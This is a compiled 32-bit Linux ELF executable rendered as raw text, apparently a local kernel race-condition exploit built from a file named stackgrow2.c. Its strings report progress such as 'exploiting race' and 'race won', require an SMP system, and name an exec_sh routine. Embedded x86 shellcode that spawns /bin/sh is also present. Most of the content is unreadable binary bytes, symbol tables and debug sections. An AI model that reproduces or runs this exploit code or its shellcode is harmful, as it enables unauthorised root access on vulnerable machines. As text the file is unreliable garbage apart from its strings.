ELF04.4 (# 444 2 /lib/ld-linux.so.2GNU     Ѕ>(.<N![C 6!0g@:~` P/`jpb O65qwІi1ph2V:H 6 libc.so.6waitpidmunmapusleepexecvegetpidfgetsmemcpyperrormmapalarmfprintfkillsignalmemcmpsscanfmemsetfclosestderrexitfopen_IO_stdin_used__libc_start_mainclone__gmon_start__GLIBC_2.1GLIBC_2.0ii ii L`      $(,048<@DHU 5%%h%h%h%h%h %h(%h0% h8p%h@`%hHP%hP@%hX0% h` %$hh%(hp%,hx%0h%4h%8h%<h%@h%Dh%Hh1^PTRhhАQVh?US[ÇRhtX[ÐU=du-ȣtȣҡȣudÉUt!t hx&ÐU} uTEE;EEEE1EPEAhj }u h9 j\UYPh hj i jUh$h&,E}u h6 jEPDždujhPAun\P`PhQhP` Pu/\@Pu#dPtE8Au DžX)`du uDžXXUX hP Ph[hj j1E}~EEЉE̍E1)ЉEȃuhx<E}~EDE hjjh2jhh0PC u hEnEE}~EЋT؍EEẺE}yEEE̋ẺEȉEЋM9EE=|=@ E}UЋEЋDԉD؍E㡠)‰ЉE؃j 5AEE;|EEЉE̍E1E PEu h'uh0hPn5hВ;EEUEEEEEPEPu j"U()ăh$h-u hDžEhP;u$j hP<uE빃 `}%h 5`Dž5 hIjjj2jhhPh u hK#DžPEjjj2jhh` u h[Dž`Ejhhhvzu hkDžLjhhh3u2 h}Dj 5QDžjEP5kj 5E%tDžDžPhhE0uhU싅)P>h@hPh@h`E}~hhhhtu hDžhhhhtu hDž~jEP5E%t?jEP5E%t EDžÐUVS1-9sƐC9r[^]U-SXuX[]MKuX[]7USRФФtЋuX[]US[kPY[ [-] unable to exploit race in 30s, kernel patched or load too high. [+] in thread 1 (pid = %d) r/proc/self/maps [-] fopen /proc/self/maps%08x-%08x [+] in thread 2 (pid = %d) [+] rdtsc calibration: %d [+] exploiting race, wait... [-] mmap target [+] race won (shift: %d) /proc/cpuinfo [-] fopen /proc/cpuinfoprocessorThis program only works on SMP systems. mmap pgd1 base mmap pgd2 base [-] clone child1 [-] clone child2/bin/ping [-] clone child3ܤ111F̀1Phn/shh//biPS ̀  p( Єooojƅօ&6FVfvƆֆ&GCC: (GNU) 3.3 20030226 (prerelease) (SuSE Linux)GCC: (GNU) 3.3 20030226 (prerelease) (SuSE Linux)GCC: (GNU) 3.3 20030226 (prerelease) (SuSE Linux)GCC: (GNU) 3.3 20030226 (prerelease) (SuSE Linux)GCC: (GNU) 3.3 20030226 (prerelease) (SuSE Linux)GCC: (GNU) 3.3 20030226 (prerelease) (SuSE Linux)GCC: (GNU) 3.3 20030226 (prerelease) (SuSE Linux),p T#Аi$ !_IO_stdin_used6!\__libc_csu_init__libc_csu_finiTT50u"B,#T$0G%qpa(+)B*+T,int-0)23k>9: 00qW00aA$#uP~a/q\0 a0Iaja}aRaytq.qCh x >0 aEa b0 N 8L M$IO6I#N#O$y V#8I#WT#!h#8"I#s# &-3Yg 8i5H RR7 X7<?u#v#x#Az# {#}#K~##$# M#$#(#,m#0#4q#8 =$@b#### #%#8I###  B  B %K RB@N $RO/ 5AR_XL RR7] a    d  $$ e5 ;G"B#jA#k#l*#qm# n# G]  I%#;R#q#= .,42#q3=# M,5 / 4 Q5.789T:0Z/tmp/ccpQSO9i.s/usr/src/packages/BUILD/glibc-2.3.2/csuGNU AS 2.13.90.0.1899А50intBuaEU,АU@ iA7S 7J9U iL7S      Z/tmp/ccVBVKAd.s/usr/src/packages/BUILD/glibc-2.3.2/csuGNU AS 2.13.90.0.18% : ; I$ > $ >  : ;  : ; I8 I!I/  I : ;I  : ; : ; I  : ; ( ' II : ; &I'  < !I4: ; I?  %% : ; I$ > $ > : ;I.? : ; ' @  U4: ; I 4: ; I &I I ! '  I4: ; I? < % init.c/usr/lib/gcc-lib/i486-suse-linux/3.3/include/stddef.h../sysdeps/generic/bits/types.h../wcsmbs/wchar.h../sysdeps/gnu/_G_config.h../iconv/gconv.hn# /tmp/ccpQSO9i.sp,Wd9,:T!,Wdd,,-W elf-init.c/usr/lib/gcc-lib/i486-suse-linux/3.3/include/stddef.hА+Uz+[:pYK-7Ju|K# /tmp/ccVBVKAd.s(| А0AB B9AL G_G_int32_t__time_t__GCONV_INCOMPLETE_INPUT__GCONV_OK__state__gconv_init_fct_G_iconv_t__rlim64_t__GCONV_ILLEGAL_DESCRIPTOR__gconv_infoshort unsigned intunsigned char__useconds_t__counter__fct__val__value__nsteps_G_int16_t__max_needed_from__gconv_btowc_fct__off_t__ssize_t__statep__fsfilcnt_t__steps__fsfilcnt64_t__blkcnt_t__gconv_loaded_object_G_fpos64_t__gconv_t__trans_end_fct__u_int__GCONV_ILLEGAL_INPUT__blksize_t__to_name__uint64_t__id_t__GCONV_EMPTY_INPUT__cd__ino_t__GCONV_NOCONV__invocation_counter__pid_t__u_short__count__quad_t__u_long__fsid_t__GCONV_FULL_OUTPUT__max_needed_to__timer_t__stateful__uint32_t/usr/src/packages/BUILD/glibc-2.3.2/csu__key_t__u_char__gconv_step__shlib_handle__min_needed_toshort int__dev_tlong long int__gconv_trans_dataGNU C 3.3 20030226 (prerelease) (SuSE Linux)__outbuflong long unsigned int__uid_t__wchb__uint16_twint_t__u_quad_t__gconv_trans_end_fct__flags__outbufend__combined__gconv_trans_init_fct__init_fct__modname__trans_context_fct__trans_fct__rlim_t__wch__intptr_t__suseconds_t__ino64_twchar_t__GCONV_IS_LAST__blkcnt64_t__fsblkcnt64_t__mode_t__qaddr_t__pos__gconv_end_fct_IO_stdin_used__internal_use__GCONV_NODB__clock_t__gconv_step_data__gconv_trans_query_fct__socklen_t__int64_t__GCONV_NOMEM__off64_t__btowc_fct_G_fpos_t__int8_t__daddr_t__fsblkcnt_t_G_uint32_t__nlink_t__swblk_t__GCONV_INTERNAL_ERROR__mbstate_t__gid_t__clockid_t__int32_t__gconv_trans_context_fct__next__GCONV_IGNORE_ERRORS__end_fct__trans__uint8_t__gconv_fct__from_name__min_needed_from__gconv_trans_fct__data__caddr_t_G_uint16_t__loff_t__int16_t__libc_csu_finiptrdiff_t__init_array_end__init_array_startelf-init.c__fini_array_end__libc_csu_init__fini_array_startsize0.symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.data.eh_frame.dynamic.ctors.dtors.jcr.got.bss.comment.debug_aranges.debug_pubnames.debug_info.debug_abbrev.debug_line.debug_frame.debug_str.debug_ranges# 1((7 ?Gojj6To0c Єl  up{00@ pp  D Фؤl``0 `ex@_y "# %P 0L&#+o--984 "7 X;-(jЄ   0 p Фؤ` !"T #.Ф<ؤJWȣ[dg } #Ԥܤ@  Ѕ>  .2;B SZl!ģ 69 0g  @:`%,P?0 F`jWphmА0 P $  6p qt: ,>vC LІ\1nPuh2:  6 init.cinitfini.ccall_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST__p.0completed.1__do_global_dtors_auxframe_dummy__CTOR_END____DTOR_END____FRAME_END____JCR_END____do_global_ctors_auxstackgrow2.celf-init.cclone@@GLIBC_2.0child2_threadusleep@@GLIBC_2.0pidgetpid@@GLIBC_2.0_DYNAMICstack1child_sighandler_fp_hwperror@@GLIBC_2.0fprintf@@GLIBC_2.0signal@@GLIBC_2.0__fini_array_endtsc2__dso_handlemmap@@GLIBC_2.0__libc_csu_finiexecve@@GLIBC_2.0test_race_result_initsffmunmap@@GLIBC_2.0stderr@@GLIBC_2.0stack2waitpid@@GLIBC_2.0_startfgets@@GLIBC_2.0sleep@@GLIBC_2.0tsc1__fini_array_start__libc_csu_initmemcmp@@GLIBC_2.0__bss_startmainexec_sh__libc_start_main@@GLIBC_2.0__init_array_enddata_startprintf@@GLIBC_2.0_finimemcpy@@GLIBC_2.0child3_threadfclose@@GLIBC_2.1child1_threadexit@@GLIBC_2.0sscanf@@GLIBC_2.0_edata_GLOBAL_OFFSET_TABLE__endstack3memset@@GLIBC_2.0fopen@@GLIBC_2.1__init_array_start_IO_stdin_usedkill@@GLIBC_2.0__data_start_Jv_RegisterClassesalarm@@GLIBC_2.0__gmon_start__